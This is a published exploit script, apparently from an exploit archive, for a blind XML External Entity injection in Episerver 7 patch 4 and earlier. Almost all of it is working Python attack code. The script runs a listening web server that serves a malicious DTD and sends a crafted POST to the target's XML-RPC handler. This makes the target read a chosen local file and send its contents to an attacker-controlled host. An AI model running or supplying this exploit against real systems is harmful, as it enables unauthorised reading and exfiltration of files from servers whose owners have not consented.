Episerver 7 patch 4 - XML External Entity Injection

# Exploit Title: Episerver 7 patch 4 - XML External Entity Injection
# Exploit Author: Jonas Lejon
# Vendor Homepage: https://www.episerver.se/
# Version: Episerver 7 patch 4 and below
# CVE : N/A
 
## episploit.py - Blind XXE file read exploit for Episerver 7 patch 4 and below
## Starts a listening webserver, so the exploits needs a public IP and unfiltered port, configure RHOST below!
## Usage: ./episploit.py <target> [file-to-read]
 
#!/usr/bin/python
 
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
import urllib
import re
import sys
import time
import threading
import socket
 
SERVER_SOCKET   = ('0.0.0.0', 8000)
EXFIL_FILE      = 'file:///c:/windows/win.ini'
 
# The public facing IP. Change this
RHOST           = '1.2.3.4:' + str(SERVER_SOCKET[1])
 
EXFILTRATED_EVENT = threading.Event()
 
class BlindXXEServer(BaseHTTPRequestHandler):
 
    def response(self, **data):
        code = data.get('code', 200)
        content_type = data.get('content_type', 'text/plain')
        body = data.get('body', '')
 
        self.send_response(code)
        self.send_header('Content-Type', content_type)
        self.end_headers()
        self.wfile.write(body.encode('utf-8'))
        self.wfile.close()
 
    def do_GET(self):
        self.request_handler(self)
 
    def do_POST(self):
        self.request_handler(self)
 
    def log_message(self, format, *args):
        return
 
    def request_handler(self, request):
        global EXFILTRATED_EVENT
 
        path = urllib.unquote(request.path).decode('utf8')
        m = re.search('\/\?exfil=(.*)', path, re.MULTILINE)
        if m and request.command.lower() == 'get':
            data = path[len('/?exfil='):]
            print 'Exfiltrated %s:' % EXFIL_FILE
            print '-' * 30
            print urllib.unquote(data).decode('utf8')
            print '-' * 30 + '\n'
            self.response(body='true')
 
            EXFILTRATED_EVENT.set()
 
        elif request.path.endswith('.dtd'):
            print 'Sending malicious DTD file.'
            dtd = '''<!ENTITY %% param_exfil SYSTEM "%(exfil_file)s">
<!ENTITY %% param_request "<!ENTITY exfil SYSTEM 'http://%(exfil_host)s/?exfil=%%param_exfil;'>">
%%param_request;''' % {'exfil_file' : EXFIL_FILE, 'exfil_host' : RHOST}
 
            self.response(content_type='text/xml', body=dtd)
 
        else:
            print '[INFO] %s %s' % (request.command, request.path)
            self.response(body='false')
 
def send_stage1(target):
    content = '''<?xml version="1.0"?><!DOCTYPE foo SYSTEM "http://''' + RHOST + '''/test.dtd"><foo>&exfil;</foo>'''
    payload = '''POST /util/xmlrpc/Handler.ashx?pageid=1023 HTTP/1.1
Host: ''' + target + '''
User-Agent: curl/7.54.0
Accept: */*
Content-Length: ''' + str(len(content)) + '''
Content-Type: application/x-www-form-urlencoded
Connection: close
 
''' + content
 
    print "Sending payload.."
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    port = 80
    s.connect((target,port))
    s.send(payload)
 
def main(target):
    server = HTTPServer(SERVER_SOCKET, BlindXXEServer)
    thread = threading.Thread(target=server.serve_forever)
    thread.daemon = True
    thread.start()
    send_stage1(target)
 
    while not EXFILTRATED_EVENT.is_set():
        pass
 
if __name__ == '__main__':
    if len(sys.argv) > 1:
        target = sys.argv[1]
    if len(sys.argv) > 2:
        EXFIL_FILE = sys.argv[2]
    main(target)

#  0day.today [2018-08-29]  #